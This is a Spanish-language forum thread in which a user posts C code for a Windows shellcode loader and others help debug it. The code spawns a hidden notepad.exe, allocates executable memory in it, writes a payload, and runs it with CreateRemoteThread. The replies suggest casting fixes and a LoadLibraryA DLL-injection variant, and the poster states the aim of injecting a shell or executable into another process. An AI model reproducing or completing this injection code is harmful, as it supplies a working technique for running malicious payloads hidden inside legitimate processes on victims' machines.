Estaba haciendo unas pruebas y encontré este code en el que se crea un Proceso se reserva memoria del exe a ejecutar, y luego se escribe y se lanza el CreateRemoteThread para iniciar la ejecución pero hay un detalle, que cuando se lanza el CreateRemoteThread el exe termina la ejecuón.

Código: Seleccionar todo

#include <windows.h>
#include "Dll.h"
#include <stdio.h>

#include <conio.h> 
void inject(LPCVOID buffer, int length) {
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    HANDLE hProcess   = NULL;
    SIZE_T wrote;
    LPVOID ptr;
    char lbuffer[1024];
    char cmdbuff[1024];
 
    /* reset some stuff */
    ZeroMemory( &si, sizeof(si) );
    si.cb = sizeof(si);
    ZeroMemory( &pi, sizeof(pi) );
 
    /* start a process */
    GetStartupInfo(&si);
    si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;
    si.hStdOutput = NULL;
    si.hStdError = NULL;
    si.hStdInput = NULL;
 
    /* resolve windir? */
    GetEnvironmentVariableA("windir", lbuffer, 1024);
 
    /* setup our path... choose wisely for 32bit and 64bit platforms */
    #ifdef _IS64_
        _snprintf(cmdbuff, 1024, "%s\\SysWOW64\\notepad.exe", lbuffer);
    #else
        _snprintf(cmdbuff, 1024, "%s\\System32\\notepad.exe", lbuffer);
    #endif
 
    /* spawn the process, baby! */
    if (!CreateProcessA(NULL, cmdbuff, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
        return;
 
    hProcess = pi.hProcess;
    if( !hProcess )
        return;
 
    /* allocate memory in our process */
    ptr = (LPVOID)VirtualAllocEx(hProcess, 0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 
    /* write our shellcode to the process */
    WriteProcessMemory(hProcess, ptr, buffer, (SIZE_T)length, (SIZE_T *)&wrote);
    if (wrote != length)
        return;
 
    /* create a thread in the process */
    CreateRemoteThread(hProcess, NULL, 0, ptr, NULL, 0, NULL);
}
Pink escribió:Quizás no esperas a que se ejecute el thread. usa

WaitForSingleObject

Saludos

Si lo intenté pero la aplicación crashea cuando se crea el nuevo Thread. :/ No pasa de ahí.
no programo c++ excepto por que la facultad me lo pide asi que me estoy iniciando jaja, tal vez no sea la solucion pero si buscas la funcion [Enlace externo eliminado para invitados] el ptr deberia ir como 5 argumento no como el 4 ( ya que lo que hace es pasar el puntero ), sin embargo no puedo responderte con seguridad que deberias poner en el 4, aunque podes probar lo siguiente
Declara:
LPVOID Ll

Abajo luego de haber creado el proceso
hProcess = pi.hProcess;
if( !hProcess )
return;

Ll = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");

CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)Ll, (LPVOID)ptr, 0, NULL);
frostfrozenn escribió:no programo c++ excepto por que la facultad me lo pide asi que me estoy iniciando jaja, tal vez no sea la solucion pero si buscas la funcion [Enlace externo eliminado para invitados] el ptr deberia ir como 5 argumento no como el 4 ( ya que lo que hace es pasar el puntero ), sin embargo no puedo responderte con seguridad que deberias poner en el 4, aunque podes probar lo siguiente
Declara:
LPVOID Ll

Abajo luego de haber creado el proceso
hProcess = pi.hProcess;
if( !hProcess )
return;

Ll = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");

CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)Ll, (LPVOID)ptr, 0, NULL);
Ese es en el caso de cargar una dll en un nuevo thread, pero lo que busco es inyectar una shell o un exe directamente en un nuevo thread.
adwind escribió:
frostfrozenn escribió:no programo c++ excepto por que la facultad me lo pide asi que me estoy iniciando jaja, tal vez no sea la solucion pero si buscas la funcion [Enlace externo eliminado para invitados] el ptr deberia ir como 5 argumento no como el 4 ( ya que lo que hace es pasar el puntero ), sin embargo no puedo responderte con seguridad que deberias poner en el 4, aunque podes probar lo siguiente
Declara:
LPVOID Ll

Abajo luego de haber creado el proceso
hProcess = pi.hProcess;
if( !hProcess )
return;

Ll = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");

CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)Ll, (LPVOID)ptr, 0, NULL);
Ese es en el caso de cargar una dll en un nuevo thread, pero lo que busco es inyectar una shell o un exe directamente en un nuevo thread.
sisi el link que te pase es de eso pero era para que mires bien los paramentros igual

hProcess: handle to the process where we’ll create a new thread
lpThreadAttributes: a pointer to the SECURITY_ATTRIBUTES structure, which specifies the security attributes of the new thread: if NULL, the thread will have default security attributes and the handle cannot be inherited by the child process
dwStackSize: initial size of the stack
lpStartAddress: a pointer to the LPTHREAD_START_ROUTINE, which is a function that will be executed by the new thread. It’s needless to say that the function must exists in the remote process.
lpParameter: a pointer to a variable to be passed to the thread function
dwCreationFlags : a value that controls the creation of the thread
lpThreadId: a pointer to a variable that receives the thread ID

ademas que no se como tu compilador no te dice que LPVOID no es compatible con LPTHREAD_START_ROUTINE por que a mi ni compilar me deja jajaj

PD: Otro error que arroja el Vb es que STARTUPINFO no es compatible con LPSTARTUPINFOA ( como no se que definiste en el dll.h tal vez ahi hiciste una nueva estructura jaja y si lo es pero el IDE de Visual Studio me esta reprendiendo jaja)
Debes cambiar las configuraciones del encoding de acuerdo de las apis a usar, si son unicode o no. Por eso te marca error. (LPTHREAD_START_ROUTINE)ptr
Responder

Volver a “C/C++”